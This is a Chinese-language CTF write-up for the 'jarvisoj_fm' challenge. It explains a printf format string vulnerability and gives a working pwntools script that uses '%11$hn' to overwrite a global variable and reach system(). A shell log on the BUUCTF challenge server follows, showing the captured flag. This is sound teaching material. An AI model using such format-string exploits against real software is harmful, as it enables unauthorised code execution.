jarvisoj_fm 1
首先检查一下文件:
C:\Users\A\Downloads>checksec fm
[*] 'C:\\Users\\A\\Downloads\\fm'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
- 32位程序,小端序
- GOT只读
- 有栈保护
- 栈不可执行
- 地址固定
- 保留了字符表和调试信息
思路分析
简单运行一下程序:

用IDA打开,看一下main函数:

根据图中的部分,可以看出刚才运行程序打印的3,就是x的值,而当x == 4的时候,才可以调用system,因此需要修改x的值
双击x,发现其在.data段上

接着看到print(&buf),可以明确判断这是一个格式化字符串漏洞的题。
因此我们需要暴露一下printf的参数地址:

很明显参数地址是在第11个参数
接下来只需要用%hn改写即可。
攻击脚本
from pwn import *
#context.log_level = 'debug'
file = "./fm"
x = 0x0804A02C
local = 2
if local == 1:
io = process(file)
else:
io = remote("node5.buuoj.cn",25481)
pay = p32(x) # 因为是小端序,低地址在低位,所以在x处修改即可。
pay += b'%11$hn' # hn修改的值是前面成功写入的字符个数,因此这里写入的值为4
io.send(pay)
io.interactive()
就可以获取到flag了:
点击查看代码
[+] Opening connection to node5.buuoj.cn on port 25481: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{649a33f6-90cc-49f6-8589-edc4e5033e65}
$
[*] Closed connection to node5.buuoj.cn port 25481

浙公网安备 33010602011771号